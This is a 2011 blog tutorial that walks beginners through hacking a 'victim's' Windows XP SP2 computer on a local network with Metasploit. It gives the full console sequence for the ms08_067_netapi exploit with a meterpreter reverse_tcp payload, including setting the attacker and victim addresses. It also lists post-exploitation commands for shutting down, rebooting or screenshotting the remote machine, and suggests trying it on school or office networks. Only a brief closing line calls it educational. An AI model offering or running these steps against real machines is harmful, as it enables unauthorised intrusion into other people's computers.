Tuesday, May 24, 2011

How to hack a remote Computer in LAN, for learners

Hi guys,

Today I am going to explain about gaining access to a remote computer in our LAN with the help of Metasploit Framwork.

But before proceeding any further we must have to know what is metasploit. well metasploit is a penetration testing module. which is widely used now a days for checking the loopholes in a system. so we can say that it is a developer’s tool. (or a Hacker’s tool!!)

before starting we need some pre-requisites for this adventure!!

1. An active internet connection.

2. Metasploit Framwork  (Download it from here)

3. Good network scanner (Download it from here)

4. A PC in network with Windows XP service pack-2 (this hack only works on Windows XP service pack-2).

 

Now we are ready to do some hacking practice Vampire bat

  • Install metasploit framework to your Computer.
  • Now go to Start > All Programs > Metasploit Framwork > Metasploit Console.
  • It will looks like,

Hack -1

 

Note that it will take some time to display the Metasploit screen.

  • Now we are going to use “windows/smb/ms08_067_netapi” exploit.

(what is exploit ? just Google it Open-mouthed smile)

  • type “use windows/smb/ms08_067_netapi” (without quotes!)

Hack -2

  • We can see that the exploit has been selected, now we need a payload to get access to the victim’s system.

(What is payload ? again Google itHot smile).

  • You can see various payloads that can be used from typing “show payloads”. It will lists all the available payloads.

 

  • Here we are going to use Meterpreter payload,

type “set payload windows/meterpreter/reverse_tcp” (without quotes).

 

hack -3

 

  • Now we have to configure our payload, for this,

type “show options” (without quotes). It will look like,

 

hack-4

  • In options we have to enter two main things which are Local host (our ip address) & a remote host (victim’s ip address)
  • For getting your IP address, Go to Run > cmd > type ipconfig.

In the result “IPV4 address is your IP address”

 

  • For obtaining Victim’s IP address you can use IP Scanner software. You can download it from here.
  • If you are doing this practice in your private network (like School or office network) then you can get exact information about the Operating system of the PC also.

This is called reverse engineering Winking smile

  • Ok ladies back on main topic now, to set the Local Host,

Type “set LHOST Your IP address

like shown here,

hack-5

 

  • To set Remote Host in the payload,

Type “set RHOST victim’s IP address

hack-6

 

  • Now we are set to go. But before exploiting the payload just check all the details. For this,

Type “show options

it will shows the details like,

hack-7

  • Check if any of the information you have entered wrong than you can correct it and check it here.
  • All done ladies! now we can press the trigger. Just issue the following command,

Type “exploit

hack-8

 

  • Keep your fingers crossed Disappointed smile If your victim’s pc has windows XP service pack-2 and Internet explorer 6.0 on it, then  I am damn sure that this exploit do its work. So what is the result ?Don't tell anyone smile if everything is all right you will find this screen,

 

hack-9

 

  • Bingo”  Thumbs up you have done it.

 

Now for the further commands just type “help” it will show you all the commands supported by the payload.

For example :

  • if you want to shutdown remote pc, simply type “shutdown
  • if you want to reboot remote pc, type “reboot
  • for getting screenshot of the remote pc type “screenshot

 

Note: if above commands do not works then type “getprivs” before doing all that examples.

 

This tutorial is for educational purpose only.

You can try it best with installing windows XP service pack 2 on a Virtual machine.

Thanks for reading

 

Cheers!!

No comments: